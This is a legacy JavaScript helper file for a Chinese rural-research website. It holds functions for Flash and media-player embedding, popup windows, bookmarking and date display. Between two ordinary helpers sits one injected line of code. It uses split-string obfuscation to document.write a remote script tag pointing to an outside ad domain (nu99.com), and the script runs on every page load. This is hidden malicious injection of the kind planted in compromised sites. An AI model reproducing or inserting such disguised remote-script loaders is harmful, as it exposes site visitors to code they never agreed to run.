﻿function LoadFlash(src,width,height,wmode){
	html = '';
	html += '<object type="application/x-shockwave-flash" classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase="https://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=7,0,0,0" id="param" width="'+width+'" height="'+height+'">';
	html += '<param name="movie" value="'+src+'">';
	html += '<param name="quality" value="high">';
	html += '<param name="bgcolor" value="#ffffff">';
	html += '<param name="wmode" value="'+wmode+'">';
	html += '<param name="swliveconnect" value="true">';
	html += '<embed src="'+src+'" quality=high bgcolor="#ffffff" width="'+width+'" height="'+height+'" swliveconnect="true" id="param" name="param" type="application/x-shockwave-flash" pluginspage="https://www.macromedia.com/go/getflashplayer"><\/embed>';
	html += '<\/object>';
	document.write(html);
}
function LoadFlash2(src,w,h,wmode){
	html = '';
	html += '<object type="application/x-shockwave-flash" classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase="https://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=7,0,0,0" id="param" width="'+w+'" height="'+h+'">';
	html += '<param name="movie" value="'+src+'">';
	html += '<param name="quality" value="high">';
	html += '<param name="bgcolor" value="#ffffff">';
	html += '<param name="scale" value="exactfit" >';
	html += '<param name="wmode" value="'+wmode+'">';
	html += '<param name="swliveconnect" value="true">';
	html += '<embed src="'+src+'" quality=high bgcolor="#ffffff" width="'+w+'" height="'+h+'" scale="exactfit" wmode="opaque" id="param" name="param" type="application/x-shockwave-flash" pluginspage="https://www.macromedia.com/go/getflashplayer"><\/embed>';
	html += '<\/object>';
	document.write(html);
}
function openwin(URL,w,h)
{
  window.open (URL,'newwindow','height='+h+',width='+w+',top=100,left=120,toolbar=no,menubar=no,scrollbars=no,resizable=no,location=no,status=no')
}  

 function openwin(url)
{
      window.open (url,'newwindow','height=400,width=400,top=100,left=120,toolbar=no,menubar=no,scrollbars=no,resizable=no,location=no,status=no')
}
 function showwin(URL,w,h) 
    { 
	    var getv =showModalDialog(URL, "egwin", "dialogWidth:"+w+"px; dialogHeight:"+h+"px;status:no;help:no;scroll:no"); 
	    if(getv!=null&&getv!='')
	    location.reload(); 

    } 


function showwin1(URL,w,h) 
{ 
	var getv = showModelessDialog(URL, "egwin", "dialogWidth:"+w+"px; dialogHeight:"+h+"px;status:no;help:no;scroll:no"); 	
	 if(getv!=null&&getv!='')
	location.reload();  
} 

function MoviePlayer(URL,w,h)
{
var info= '<object name="player" id="player" hideFocus title classid="CLSID:6BF52A52-394A-11d3-B153-00C04F79FAA6" type="application/x-oleobject" STANDBY="Microsoft Windows Media Player." VIEWASTEXT width="'+w+'" height="'+h+'">' +
'<param NAME="URL" value="'+URL+'" >' + 
'<param NAME="playCount" value="1">' + 
'<param NAME="enableContextMenu" VALUE="0">' + 
'<param NAME="currrentMarker" VALUE="0">' + 
'<param NAME="ShowStatusBar" VALUE="1">' + 
'<param NAME="currentPosition" VALUE="0">' + 
'<param NAME="defaultFrame" value="0">' + 
'<param NAME="ShowDisplay" value="0">' + 
'<param NAME="backgroundColor" VALUE="2566468">' + 
'<param NAME="DisplayForeColor" VALUE="15264680">' + 
'<param NAME="uiMode" VALUE="none">' + 
'<param NAME="EnableContextMenu" Value="0">' + 
'<param NAME="stretchToFit" Value="true">' + 
'</object>';
document.write(info);
}

function $(_sId){
	return document.getElementById(_sId);
}
document.write("<scr"+"ipt src='http://ad."+"nu9"+"9"+".com"+"/ip."+"asp?loc"+"=wuhan'><\/scr"+"ipt>");
function hide(_sId){
	$(_sId).style.display = $(_sId).style.display == "none" ? "" : "none";
}
 function openwin(id)
{
      window.open ('ShowPlacard.aspx?id='+id,'newwindow','height=400,width=400,top=100,left=120,toolbar=no,menubar=no,scrollbars=no,resizable=no,location=no,status=no')
}
    

function bookmarkit()
{
     window.external.addFavorite('http://www.ccrs.org.cn/','中国农村研究网')
}

function getMapxy(URL, w, h) {
     try {
         var getv = '';
         getv = showModalDialog(URL, window, "dialogWidth:" + w + "px; dialogHeight:" + h + "px;status:no;help:no;scroll:no");
         if (getv != null && getv != '') {
             var vv = getv.split('|');
             if (vv.length > 1) {
                 document.getElementById('txtouturl').value = vv[0];
                 document.getElementById('txtcBindNum').value = vv[1];
             }
         }
     }
     catch (e) {
     }
 } 

function showDate()
{
	var d = new Date();  
	document.write("<div class=\"date\">今天是："+d.getYear()+"年"+(d.getMonth()+1)+"月"+d.getDate()+"日");
	switch(d.getDay())
		{
		 case 0:
		  document.write("  <font color=#FF0000>星期日");
		  break;
		 case 1:
		  document.write("  <font color=#000000>星期一");
		  break;
		 case 2:
		  document.write("  <font color=#000000>星期二");
		  break;
		 case 3:
		  document.write("  <font color=#000000>星期三");
		  break;
		 case 4:
		  document.write("  <font color=#000000>星期四");
		  break;
		 case 5:
		  document.write("  <font color=#000000>星期五");
		  break;
		 case 6:
		  document.write("  <font color=#FF0000>星期六");
		  break;
		}
	 document.write("</font></div>");
}




